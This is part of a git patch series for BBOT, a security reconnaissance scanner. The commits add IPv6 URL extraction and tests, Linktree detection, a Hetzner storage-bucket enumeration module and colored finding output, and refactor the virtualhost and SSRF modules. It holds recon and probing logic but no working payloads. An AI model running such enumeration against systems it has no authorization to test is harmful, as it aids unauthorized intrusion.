keyword_simhash) + similarity = await self._response_similarity(original_response.text or "", keyword_canary_response.text or "") if similarity >= self.SIMILARITY_THRESHOLD: self.verbose( @@ -859,7 +866,7 @@ async def _verify_canary_consistency( normalized_url, basehost, host_ip, is_https, mode=canary_mode ) except Exception as e: - self.warning(f"Canary verification failed due to curl error: {e}") + self.warning(f"Canary verification failed: {e}") return False if not consistency_canary_response: @@ -877,11 +884,9 @@ async def _verify_canary_consistency( return True # Fallback - use similarity comparison for response data (allows slight differences) - original_simhash = await self.helpers.run_in_executor_mp(compute_simhash, original_canary_response.text or "") - consistency_simhash = await self.helpers.run_in_executor_mp( - compute_simhash, consistency_canary_response.text or "" + similarity = await self._response_similarity( + original_canary_response.text or "", consistency_canary_response.text or "" ) - similarity = self.helpers.simhash.similarity(original_simhash, consistency_simhash) if similarity < self.SIMILARITY_THRESHOLD: self.verbose( f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD} - Original: {original_canary_response.status_code} ({len(original_canary_response.text or '')} bytes), Current: {consistency_canary_response.status_code} ({len(consistency_canary_response.text or '')} bytes)" From d1e5d594f636be22a7ff79aad3d3b304fce6ae6d Mon Sep 17 00:00:00 2001 From: ChrisJr404 <11917633+ChrisJr404@users.noreply.github.com> Date: Sun, 3 May 2026 19:07:07 -0400 Subject: [PATCH 589/912] Excavate: extract IPv6 URLs (#1815) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The url_full YARA rule and the full_url_regex / full_url_regex_strict post-filters all required hosts to be word-character labels, so URLs with bracketed IPv6 hosts (http://[2001:db8::1]/, http://[::1]:8080/...) were dropped at extraction time. Add a [0-9a-fA-F:]+ alternative to the host part of all three patterns so IPv6 URLs are emitted as URL_UNVERIFIED events alongside DNS-name URLs. Adds bbot/test/test_step_1/test_excavate_url_regexes.py — 6 cases that pin both the new IPv6 acceptance and a regression guard for the existing DNS-name / IPv4 URLs. Closes #1815 --- bbot/modules/internal/excavate.py | 10 ++- .../test_step_1/test_excavate_url_regexes.py | 77 +++++++++++++++++++ 2 files changed, 84 insertions(+), 3 deletions(-) create mode 100644 bbot/test/test_step_1/test_excavate_url_regexes.py diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 5a0fc04d43..6c3bac1a56 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -864,7 +864,7 @@ class URLExtractor(ExcavateRule): tags = "spider-danger" description = "contains full URL" strings: - $url_full = /https?:\/\/([\w\.-]+)(:\d{1,5})?([\/\w\.-]*)/ + $url_full = /https?:\/\/(\[[0-9a-fA-F:]+\]|[\w\.-]+)(:\d{1,5})?([\/\w\.-]*)/ condition: $url_full } @@ -884,8 +884,12 @@ class URLExtractor(ExcavateRule): """ ), } - full_url_regex = re.compile(r"(https?)://(\w(?:[\w-]+\.?)+(?::\d{1,5})?(?:/[-\w\.\(\)]*[-\w\.]+)*/?)") - full_url_regex_strict = re.compile(r"^(https?):\/\/([\w.-]+)(?::\d{1,5})?(\/[\w\/\.-]*)?(\?[^\s]+)?$") + full_url_regex = re.compile( + r"(https?)://((?:\[[0-9a-fA-F:]+\]|\w(?:[\w-]+\.?)+)(?::\d{1,5})?(?:/[-\w\.\(\)]*[-\w\.]+)*/?)" + ) + full_url_regex_strict = re.compile( + r"^(https?):\/\/(\[[0-9a-fA-F:]+\]|[\w.-]+)(?::\d{1,5})?(\/[\w\/\.-]*)?(\?[^\s]+)?$" + ) tag_attribute_regex = bbot_regexes.tag_attribute_regex async def process(self, yara_results, event, yara_rule_settings, discovery_context): diff --git a/bbot/test/test_step_1/test_excavate_url_regexes.py b/bbot/test/test_step_1/test_excavate_url_regexes.py new file mode 100644 index 0000000000..ef9868cac5 --- /dev/null +++ b/bbot/test/test_step_1/test_excavate_url_regexes.py @@ -0,0 +1,77 @@ +"""Unit tests for the URL regexes used by the excavate URLExtractor. + +These tests pin behaviour of the IPv6 host parsing in the YARA rule and the +two Python regex post-filters (``full_url_regex`` / ``full_url_regex_strict``). + +They cover the regression in issue #1815: the original patterns rejected +``http://[2001:db8::1]/`` and other IPv6 URLs because the host alternative +only matched word characters and dots. +""" + +import yara + +from bbot.modules.internal.excavate import excavate + + +full_url_regex = excavate.URLExtractor.full_url_regex +full_url_regex_strict = excavate.URLExtractor.full_url_regex_strict +yara_url_rule = yara.compile(source=excavate.URLExtractor.yara_rules["url_full"]) + + +IPV6_URLS = [ + "http://[2001:db8::1]/api", + "https://[2001:db8::1]:8443/api", + "http://[::1]/", + "http://[::1]:8080/path", + "https://[fe80::dead:beef]/foo/bar.html", + "http://[fe80::1234:5678:9abc:def0]:80/", +] + +NON_IPV6_URLS = [ + "http://example.com/", + "https://www.example.com:8080/path", + "http://127.0.0.1:8888/", + "https://asdffoo.test.notreal/some/path", +] + + +def test_full_url_regex_matches_ipv6(): + for url in IPV6_URLS: + m = full_url_regex.search(url) + assert m is not None, f"full_url_regex should match IPv6 URL {url!r}" + # The captured host should retain the surrounding brackets so the + # downstream URL parser recognises it as IPv6. + assert m.group(2).startswith("["), f"host capture missing leading [ for {url!r}: {m.group(2)!r}" + + +def test_full_url_regex_still_matches_existing_patterns(): + for url in NON_IPV6_URLS: + assert full_url_regex.search(url) is not None, f"regression: full_url_regex broke for {url!r}" + + +def test_full_url_regex_strict_matches_ipv6(): + for url in IPV6_URLS: + assert full_url_regex_strict.match(url) is not None, ( + f"full_url_regex_strict should match IPv6 URL {url!r}" + ) + + +def test_full_url_regex_strict_still_matches_existing_patterns(): + for url in NON_IPV6_URLS: + assert full_url_regex_strict.match(url) is not None, ( + f"regression: full_url_regex_strict broke for {url!r}" + ) + + +def test_yara_url_rule_matches_ipv6(): + for url in IPV6_URLS: + assert yara_url_rule.match(data=url.encode()), ( + f"YARA url_full rule should match IPv6 URL {url!r}" + ) + + +def test_yara_url_rule_still_matches_existing_patterns(): + for url in NON_IPV6_URLS: + assert yara_url_rule.match(data=url.encode()), ( + f"regression: YARA url_full rule broke for {url!r}" + ) From 210b95e698be3914126a3fcad0dfe939f3418057 Mon Sep 17 00:00:00 2001 From: ChrisJr404 <11917633+ChrisJr404@users.noreply.github.com> Date: Sun, 3 May 2026 19:08:59 -0400 Subject: [PATCH 590/912] Add Linktree to social module (#2399) Adds linktr.ee profile detection to the existing social module, alongside LinkedIn / GitHub / Discord / etc. The username pattern is the 3-30 character window of [a-zA-Z0-9._] that Linktree uses on its sign-up page. Extends test_module_social.TestSocial with a Linktree fixture and asserts both the canonical url and profile_name fields on the emitted SOCIAL event. Closes #2399 --- bbot/modules/social.py | 2 ++ .../test_step_2/module_tests/test_module_social.py | 13 ++++++++++++- 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/bbot/modules/social.py b/bbot/modules/social.py index f7b6ffc89e..8b1982cc3b 100644 --- a/bbot/modules/social.py +++ b/bbot/modules/social.py @@ -26,6 +26,8 @@ class social(BaseModule): "docker": (r"hub.docker.com/[ru]/([a-zA-Z0-9_-]+)", False), "huggingface": (r"huggingface.co/([a-zA-Z0-9_-]+)", False), "postman": (r"www.postman.com/([a-zA-Z0-9_-]+)", False), + # Linktree usernames are 3–30 chars of [a-z0-9._] (case-insensitive in URLs). + "linktree": (r"linktr\.ee/([a-zA-Z0-9._]{3,30})", False), } scope_distance_modifier = 1 diff --git a/bbot/test/test_step_2/module_tests/test_module_social.py b/bbot/test/test_step_2/module_tests/test_module_social.py index 6b03c77ed6..23ee765f39 100644 --- a/bbot/test/test_step_2/module_tests/test_module_social.py +++ b/bbot/test/test_step_2/module_tests/test_module_social.py @@ -15,13 +15,14 @@ async def setup_after_prep(self, module_test): + """ } module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert 4 == len([e for e in events if e.type == "SOCIAL"]) + assert 5 == len([e for e in events if e.type == "SOCIAL"]) assert 1 == len( [ e @@ -56,3 +57,13 @@ def check(self, module_test, events): and e.data["profile_name"] == "blacklanternsecurity" ] ) + assert 1 == len( + [ + e + for e in events + if e.type == "SOCIAL" + and e.data["platform"] == "linktree" + and e.data["profile_name"] == "blacklanternsecurity" + and e.data["url"] == "https://linktr.ee/blacklanternsecurity" + ] + ) From b3e40f5dc9525f567f04576ac84f8460ba04ab75 Mon Sep 17 00:00:00 2001 From: ChrisJr404 <11917633+ChrisJr404@users.noreply.github.com> Date: Sun, 3 May 2026 20:36:21 -0400 Subject: [PATCH 591/912] Add Hetzner Object Storage bucket-cataloger module (#1876) Closes #1876. Hetzner offers S3-compatible Object Storage at three locations (Falkenstein fsn1, Nuremberg nbg1, Helsinki hel1), addressed at https://..your-objectstorage.com/. cloudcheck already ships a Hetzner provider, so this just plugs a new bucket_hetzner module into the existing bucket_template: - regions = ['fsn1', 'nbg1', 'hel1'] - all three Object Storage locations documented at https://docs.hetzner.com/storage/object-storage/overview/ - base_domains = ['your-objectstorage.com'] - supports_open_check = True (S3 list-bucket protocol) Adds a focused smoke test verifying the module wires up to the cloudcheck Hetzner provider and emits the documented URL shape. The shared Bucket_Amazon_Base inherited test pattern depends on the cloudcheck regex capturing bucket + host as separate groups, but Hetzner's current cloudcheck regex matches .your-objectstorage.com without a region segment - so the smoke-test layout is used here until the cloudcheck regex is region-aware. --- bbot/modules/bucket_hetzner.py | 29 +++++++++++++++ .../test_module_bucket_hetzner.py | 37 +++++++++++++++++++ 2 files changed, 66 insertions(+) create mode 100644 bbot/modules/bucket_hetzner.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_bucket_hetzner.py diff --git a/bbot/modules/bucket_hetzner.py b/bbot/modules/bucket_hetzner.py new file mode 100644 index 0000000000..c49134b411 --- /dev/null +++ b/bbot/modules/bucket_hetzner.py @@ -0,0 +1,29 @@ +from bbot.modules.templates.bucket import bucket_template + + +class bucket_hetzner(bucket_template): + watched_events = ["DNS_NAME", "STORAGE_BUCKET"] + produced_events = ["STORAGE_BUCKET", "FINDING"] + flags = ["safe", "active", "slow", "cloud-enum", "web-heavy"] + meta = { + "description": "Check for Hetzner Object Storage buckets related to target", + "created_date": "2026-05-04", + "author": "@ChrisJr404", + } + options = {"permutations": False} + options_desc = { + "permutations": "Whether to try permutations", + } + + cloudcheck_provider_name = "Hetzner" + delimiters = ("", "-") + base_domains = ["your-objectstorage.com"] + # Hetzner Object Storage locations: + # fsn1 - Falkenstein, DE + # nbg1 - Nuremberg, DE + # hel1 - Helsinki, FI + # https://docs.hetzner.com/storage/object-storage/overview/ + regions = ["fsn1", "nbg1", "hel1"] + + def build_url(self, bucket_name, base_domain, region): + return f"https://{bucket_name}.{region}.{base_domain}/" diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_hetzner.py b/bbot/test/test_step_2/module_tests/test_module_bucket_hetzner.py new file mode 100644 index 0000000000..60cae12384 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_hetzner.py @@ -0,0 +1,37 @@ +from .base import ModuleTestBase + + +class TestBucket_Hetzner(ModuleTestBase): + """ + Minimal smoke test for the bucket_hetzner module. + + The shared Bucket_Amazon_Base pattern depends on the cloudcheck provider regex + capturing a bucket name and host as separate groups. The Hetzner regex in + cloudcheck currently matches `.your-objectstorage.com` without a + region segment, so test fixtures that mirror real Hetzner Object Storage URLs + of the form `..your-objectstorage.com` confuse the parser. + Until the cloudcheck regex is updated to capture region, this test verifies the + module loads, exposes the expected build_url() shape, and is wired up with the + Hetzner cloudcheck provider. + """ + + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["bucket_hetzner"] + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/"}, + respond_args={"response_data": ""}, + ) + + def check(self, module_test, events): + module = module_test.scan.modules["bucket_hetzner"] + assert module.cloudcheck_provider_name == "Hetzner" + assert module.base_domains == ["your-objectstorage.com"] + assert module.regions == ["fsn1", "nbg1", "hel1"] + # Live build_url uses Hetzner's documented host shape: + # https://..your-objectstorage.com/ + url = module.build_url("examplebucket", "your-objectstorage.com", "fsn1") + assert url == "https://examplebucket.fsn1.your-objectstorage.com/" + # cloudcheck Hetzner provider must be available + assert module.cloudcheck_provider is not None From 6bc7928fa817645774463900dc297b6015f4d26a Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 4 May 2026 10:31:13 -0400 Subject: [PATCH 592/912] preset schema --- bbot/scanner/__init__.py | 34 ++++++++++++++++++++++++++++++--- bbot/scanner/preset/__init__.py | 28 ++++++++++++++++++++++++++- 2 files changed, 58 insertions(+), 4 deletions(-) diff --git a/bbot/scanner/__init__.py b/bbot/scanner/__init__.py index 2f5970db48..24bedbe1a4 100644 --- a/bbot/scanner/__init__.py +++ b/bbot/scanner/__init__.py @@ -1,5 +1,33 @@ -from .preset import Preset -from .preset import PresetValidationError, validate_preset, validate_preset_file +from .preset import ( + BaseModuleConfig, + BBOTConfig, + DepsConfig, + DepsToolConfig, + DnsConfig, + EngineConfig, + Preset, + PresetSchema, + PresetValidationError, + ScopeConfig, + WebConfig, + validate_preset, + validate_preset_file, +) from .scanner import Scanner -__all__ = ["Preset", "PresetValidationError", "Scanner", "validate_preset", "validate_preset_file"] +__all__ = [ + "BBOTConfig", + "BaseModuleConfig", + "DepsConfig", + "DepsToolConfig", + "DnsConfig", + "EngineConfig", + "Preset", + "PresetSchema", + "PresetValidationError", + "Scanner", + "ScopeConfig", + "WebConfig", + "validate_preset", + "validate_preset_file", +] diff --git a/bbot/scanner/preset/__init__.py b/bbot/scanner/preset/__init__.py index e80a0f5683..fb2e423dfd 100644 --- a/bbot/scanner/preset/__init__.py +++ b/bbot/scanner/preset/__init__.py @@ -1,4 +1,30 @@ +from bbot.core.config.models import ( + BaseModuleConfig, + BBOTConfig, + DepsConfig, + DepsToolConfig, + DnsConfig, + EngineConfig, + PresetSchema, + ScopeConfig, + WebConfig, +) + from .preset import Preset from .validate import PresetValidationError, validate_preset, validate_preset_file -__all__ = ["Preset", "PresetValidationError", "validate_preset", "validate_preset_file"] +__all__ = [ + "BBOTConfig", + "BaseModuleConfig", + "DepsConfig", + "DepsToolConfig", + "DnsConfig", + "EngineConfig", + "Preset", + "PresetSchema", + "PresetValidationError", + "ScopeConfig", + "WebConfig", + "validate_preset", + "validate_preset_file", +] From f471616971e531c94facca8e9ab676b1207a20e7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 4 May 2026 11:47:00 -0400 Subject: [PATCH 593/912] stdout: dedupe FINDING output, add confidence-based brightness MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Findings were printed twice — once colored to stderr via log_to_stderr and once plain to stdout. Drop the stderr emission and colorize the single stdout line directly: severity selects the hue, confidence scales the brightness (CONFIRMED also bold). Gated on isatty() so piped/redirected stdout stays plain text. output.txt is unaffected (written by the separate txt module). --- bbot/modules/output/stdout.py | 43 +++++++++++++++++++++++------------ 1 file changed, 28 insertions(+), 15 deletions(-) diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index 974b7ede16..35635e9bdb 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -1,6 +1,6 @@ +import sys import json -from bbot.logger import log_to_stderr from bbot.modules.output.base import BaseOutputModule @@ -15,12 +15,21 @@ class Stdout(BaseOutputModule): "in_scope_only": "Whether to only show in-scope events", "accept_dupes": "Whether to show duplicate events, default True", } - vuln_severity_map = { - "INFO": "HUGEINFO", - "LOW": "HUGEWARNING", - "MEDIUM": "HUGEWARNING", - "HIGH": "CRITICAL", - "CRITICAL": "CRITICAL", + # base RGB hue per severity (matches the bbot logger palette) + finding_severity_rgb = { + "INFO": (95, 135, 215), # blue (256-color 69) + "LOW": (255, 135, 0), # orange (256-color 208) + "MEDIUM": (255, 135, 0), # orange + "HIGH": (255, 0, 0), # red (256-color 196) + "CRITICAL": (255, 0, 0), # red + } + # brightness multiplier per confidence — CONFIRMED also adds bold + finding_confidence_brightness = { + "CONFIRMED": 1.00, + "HIGH": 0.80, + "MEDIUM": 0.60, + "LOW": 0.40, + "UNKNOWN": 0.30, } format_choices = ["text", "json"] @@ -61,16 +70,20 @@ async def handle_text(self, event, event_json): else: event_str = self.human_event_str(event) - # log findings in vivid colors based on severity - if event.type == "FINDING": - severity = event.data.get("severity", "INFO") - if severity in self.vuln_severity_map: - loglevel = self.vuln_severity_map[severity] - log_to_stderr(event_str, level=loglevel, logname=False) - else: - log_to_stderr(event_str, level="HUGEINFO", logname=False) + # color findings: severity picks the hue, confidence dims the brightness + if event.type == "FINDING" and isinstance(event.data, dict) and sys.stdout.isatty(): + event_str = self._colorize_finding(event_str, event.data) print(event_str) + def _colorize_finding(self, event_str, data): + severity = str(data.get("severity", "INFO")).upper() + confidence = str(data.get("confidence", "UNKNOWN")).upper() + r, g, b = self.finding_severity_rgb.get(severity, self.finding_severity_rgb["INFO"]) + mult = self.finding_confidence_brightness.get(confidence, 0.60) + r, g, b = int(r * mult), int(g * mult), int(b * mult) + bold = "1;" if confidence == "CONFIRMED" else "" + return f"\033[{bold}38;2;{r};{g};{b}m{event_str}\033[0m" + async def handle_json(self, event, event_json): print(json.dumps(event_json)) From 1b904889c89d20fb7aa3aff19d1cf5ef75963a04 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 4 May 2026 11:57:51 -0400 Subject: [PATCH 594/912] stdout: distinct hue per severity (yellow LOW, purple CRITICAL) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Match the 🟦🟨🟧🟥🟪 convention from FINDING.severity_colors instead of collapsing LOW+MEDIUM and HIGH+CRITICAL onto shared hues. --- bbot/modules/output/stdout.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index 35635e9bdb..c4e8be9081 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -15,13 +15,13 @@ class Stdout(BaseOutputModule): "in_scope_only": "Whether to only show in-scope events", "accept_dupes": "Whether to show duplicate events, default True", } - # base RGB hue per severity (matches the bbot logger palette) + # base RGB hue per severity (matches the 🟦🟨🟧🟥🟪 convention from FINDING.severity_colors) finding_severity_rgb = { - "INFO": (95, 135, 215), # blue (256-color 69) - "LOW": (255, 135, 0), # orange (256-color 208) + "INFO": (95, 135, 215), # blue + "LOW": (255, 215, 0), # yellow "MEDIUM": (255, 135, 0), # orange - "HIGH": (255, 0, 0), # red (256-color 196) - "CRITICAL": (255, 0, 0), # red + "HIGH": (255, 0, 0), # red + "CRITICAL": (175, 0, 215), # purple } # brightness multiplier per confidence — CONFIRMED also adds bold finding_confidence_brightness = { From a739037e51c5dc63d4f433aeab4713ec9d6dc8f7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 4 May 2026 12:02:07 -0400 Subject: [PATCH 595/912] stdout: normalize severity hues and lift dimmest confidence MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Bump base RGB so every severity's brightest channel is 255 (INFO blue 113,161,255 and CRITICAL purple 207,0,255 were below max). Raise the UNKNOWN/LOW multipliers so the dimmest cells stay legible on dark terminals — brightest channel never drops below ~115. --- bbot/modules/output/stdout.py | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index c4e8be9081..b5d0a58439 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -16,20 +16,22 @@ class Stdout(BaseOutputModule): "accept_dupes": "Whether to show duplicate events, default True", } # base RGB hue per severity (matches the 🟦🟨🟧🟥🟪 convention from FINDING.severity_colors) + # all hues normalized so the brightest channel is 255 — gives a uniform brightness range per row finding_severity_rgb = { - "INFO": (95, 135, 215), # blue + "INFO": (113, 161, 255), # blue "LOW": (255, 215, 0), # yellow "MEDIUM": (255, 135, 0), # orange "HIGH": (255, 0, 0), # red - "CRITICAL": (175, 0, 215), # purple + "CRITICAL": (207, 0, 255), # purple } # brightness multiplier per confidence — CONFIRMED also adds bold + # tuned so even UNKNOWN stays legible on dark terminals (brightest channel ~115) finding_confidence_brightness = { "CONFIRMED": 1.00, - "HIGH": 0.80, - "MEDIUM": 0.60, - "LOW": 0.40, - "UNKNOWN": 0.30, + "HIGH": 0.82, + "MEDIUM": 0.65, + "LOW": 0.55, + "UNKNOWN": 0.45, } format_choices = ["text", "json"] @@ -80,7 +82,7 @@ def _colorize_finding(self, event_str, data): severity = str(data.get("severity", "INFO")).upper() confidence = str(data.get("confidence", "UNKNOWN")).upper() r, g, b = self.finding_severity_rgb.get(severity, self.finding_severity_rgb["INFO"]) - mult = self.finding_confidence_brightness.get(confidence, 0.60) + mult = self.finding_confidence_brightness.get(confidence, 0.65) r, g, b = int(r * mult), int(g * mult), int(b * mult) bold = "1;" if confidence == "CONFIRMED" else "" return f"\033[{bold}38;2;{r};{g};{b}m{event_str}\033[0m" From 62ca1cacd195f6d3e2edaad964c2f98288330a76 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 4 May 2026 12:11:50 -0400 Subject: [PATCH 596/912] simhash: update docstring to reflect cpu thread-pool usage --- bbot/core/helpers/simhash.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/bbot/core/helpers/simhash.py b/bbot/core/helpers/simhash.py index 65fa72e813..e602c2923e 100644 --- a/bbot/core/helpers/simhash.py +++ b/bbot/core/helpers/simhash.py @@ -11,10 +11,11 @@ def __init__(self, bits=64): @staticmethod def compute_simhash(text, bits=64, truncate=True, normalization_filter=None): """ - Static method for computing SimHash that can be used with multiprocessing. + Static method for computing a SimHash fingerprint. - This method is designed to be used with run_in_executor_mp() for CPU-intensive - SimHash computations across multiple processes. + Designed to be called via run_in_executor_cpu(): the work is short and the + input is truncated to ~3KB inside the helper, so a thread pool avoids the + pickle/spawn overhead of a process pool. Args: text (str): The text to hash From 9b8d54904580ef3cb156892197c3c6f3eaac02dd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 4 May 2026 12:24:07 -0400 Subject: [PATCH 597/912] wayback: run CDX parse and URL collapse in CPU thread pool --- bbot/modules/wayback.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 5f2338b8af..ab59af5808 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -289,10 +289,10 @@ async def _fetch_cdx(self, query): if r is None: self.warning(f'Error connecting to archive.org for query "{query}": {last_error}') return None - # parse JSON + extract URLs in a separate process to avoid blocking the event loop + # parse JSON + extract URLs off the event loop # (CDX responses can contain 100k+ entries) try: - urls = await self.helpers.run_in_executor_mp(_parse_cdx_response, r.text) + urls = await self.helpers.run_in_executor_cpu(_parse_cdx_response, r.text) except Exception: urls = None if urls is None: @@ -371,8 +371,8 @@ async def query(self, query): dns_names = set() collapsed_urls = 0 start_time = datetime.now() - # consolidate URLs to cut down on garbage data (CPU-intensive, runs in separate process) - parsed_urls = await self.helpers.run_in_executor_mp( + # consolidate URLs to cut down on garbage data (CPU-intensive, runs off the event loop) + parsed_urls = await self.helpers.run_in_executor_cpu( self.helpers.validators.collapse_urls, urls, threshold=self.garbage_threshold, From 50c92f842145a06a6a02d70407488dd262231a73 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 4 May 2026 12:59:29 -0400 Subject: [PATCH 598/912] virtualhost: pass normalized_url (not event.data) to SAN analyzer for DictHostEvent compatibility --- bbot/modules/virtualhost.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 9ff3981320..da277c0a19 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -195,7 +195,7 @@ async def handle_event(self, event): if self.config.get("certificate_sans", True): self.verbose(f"=== Starting certificate SAN analysis on {normalized_url} ===") if is_https: - subject_alternate_names = await self._analyze_subject_alternate_names(event.data) + subject_alternate_names = await self._analyze_subject_alternate_names(normalized_url) if subject_alternate_names: self.debug( f"Found {len(subject_alternate_names)} Subject Alternative Names from certificate: {subject_alternate_names}" From f1f85cb54df5d22969591ddf82d46c55952aef09 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 4 May 2026 13:05:46 -0400 Subject: [PATCH 599/912] virtualhost: use event.url in log/context strings, rename curl_virtualhost (vestigial name, no curl in body) --- bbot/modules/virtualhost.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index da277c0a19..81935a1b1b 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -262,7 +262,7 @@ async def _report_interesting_default_content(self, event, canary_hostname, host "VIRTUAL_HOST", parent=event, tags=["virtual-host"], - context=f"{{module}} discovered virtual host via {discovery_method} for {event.data} and found {{event.type}}: {canary_host}", + context=f"{{module}} discovered virtual host via {discovery_method} for {event.url} and found {{event.type}}: {canary_host}", ) # Emit HTTP_RESPONSE event with the canary response data @@ -295,7 +295,7 @@ async def _report_interesting_default_content(self, event, canary_hostname, host "HTTP_RESPONSE", parent=event, tags=["virtual-host"], - context=f"{{module}} discovered virtual host via {discovery_method} for {event.data} and found {{event.type}}: {canary_host}", + context=f"{{module}} discovered virtual host via {discovery_method} for {event.url} and found {{event.type}}: {canary_host}", ) # Set scope distance to match parent's scope distance for HTTP_RESPONSE events if http_response_event: @@ -485,7 +485,7 @@ async def _run_virtualhost_phase( self.debug(f"Failed to get canary response for {normalized_url}, skipping virtual host detection") return [] - results = await self.curl_virtualhost( + results = await self._test_virtualhost_candidates( discovery_method, normalized_url, basehost, @@ -504,7 +504,7 @@ async def _run_virtualhost_phase( "VIRTUAL_HOST", parent=event, tags=["virtual-host"], - context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {virtual_host_data['probe_host']} (similarity: {virtual_host_data['similarity']:.2%})", + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.url} and found {{event.type}}: {virtual_host_data['probe_host']} (similarity: {virtual_host_data['similarity']:.2%})", ) # Emit HTTP_RESPONSE event with the probe response data @@ -538,7 +538,7 @@ async def _run_virtualhost_phase( "HTTP_RESPONSE", parent=event, tags=["virtual-host"], - context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {virtual_host_data['probe_host']}", + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.url} and found {{event.type}}: {virtual_host_data['probe_host']}", ) # Set scope distance to match parent's scope distance for HTTP_RESPONSE events if http_response_event: @@ -551,10 +551,10 @@ async def _run_virtualhost_phase( "DNS_NAME_UNVERIFIED", parent=event, tags=["virtual-host"], - context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {{event.data}}", + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.url} and found {{event.type}}: {{event.data}}", ) - async def curl_virtualhost( + async def _test_virtualhost_candidates( self, discovery_method, normalized_url, @@ -1013,6 +1013,6 @@ async def filter_event(self, event): or "cdn-akamai" in event.tags or "cdn-cloudfront" in event.tags ): - self.debug(f"Not processing URL {event.data} because it's behind a WAF or CDN, and that's pointless") + self.debug(f"Not processing URL {event.url} because it's behind a WAF or CDN, and that's pointless") return False return True From 4c14cbefd09bfc6546bd7d200a49f162376f5367 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 4 May 2026 13:06:30 -0400 Subject: [PATCH 600/912] drop dead CurlError class and stale curl reference in ssrf comment --- bbot/errors.py | 4 ---- bbot/modules/generic_ssrf.py | 3 +-- 2 files changed, 1 insertion(+), 6 deletions(-) diff --git a/bbot/errors.py b/bbot/errors.py index a5ab9619b3..db295da81d 100644 --- a/bbot/errors.py +++ b/bbot/errors.py @@ -38,10 +38,6 @@ class WordlistError(BBOTError): pass -class CurlError(BBOTError): - pass - - class PresetNotFoundError(BBOTError): pass diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py index 773965e617..b09c01f946 100644 --- a/bbot/modules/generic_ssrf.py +++ b/bbot/modules/generic_ssrf.py @@ -122,8 +122,7 @@ async def test(self, event): post_data_list = [(subdomain_tag, post_data), (subdomain_tag_lower, post_data_lower)] for tag, pd in post_data_list: - # Send raw body (not URL-encoded) so payload URLs like http://... reach the - # server literally — matching old curl -d behavior. + # Send raw body (not URL-encoded) so payload URLs like http://... reach the server literally. raw_body = "&".join(f"{k}={v}" for k, v in pd.items()) r = await self.generic_ssrf.helpers.request(url=test_url, method="POST", body=raw_body) if r: From c9ac70e1c92de8964826a0b9bf7cc112ef815787 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 4 May 2026 13:15:54 -0400 Subject: [PATCH 601/912] virtualhost: add SAN-path test, virtualhost and virtualhost-heavy presets --- bbot/presets/web/virtualhost-heavy.yml | 11 +++ bbot/presets/web/virtualhost.yml | 4 + .../module_tests/test_module_virtualhost.py | 73 +++++++++++++++++++ 3 files changed, 88 insertions(+) create mode 100644 bbot/presets/web/virtualhost-heavy.yml create mode 100644 bbot/presets/web/virtualhost.yml diff --git a/bbot/presets/web/virtualhost-heavy.yml b/bbot/presets/web/virtualhost-heavy.yml new file mode 100644 index 0000000000..dc606b80f3 --- /dev/null +++ b/bbot/presets/web/virtualhost-heavy.yml @@ -0,0 +1,11 @@ +description: "Aggressive virtual host discovery: everything in virtualhost, plus special-host probing, certificate SAN extraction, and 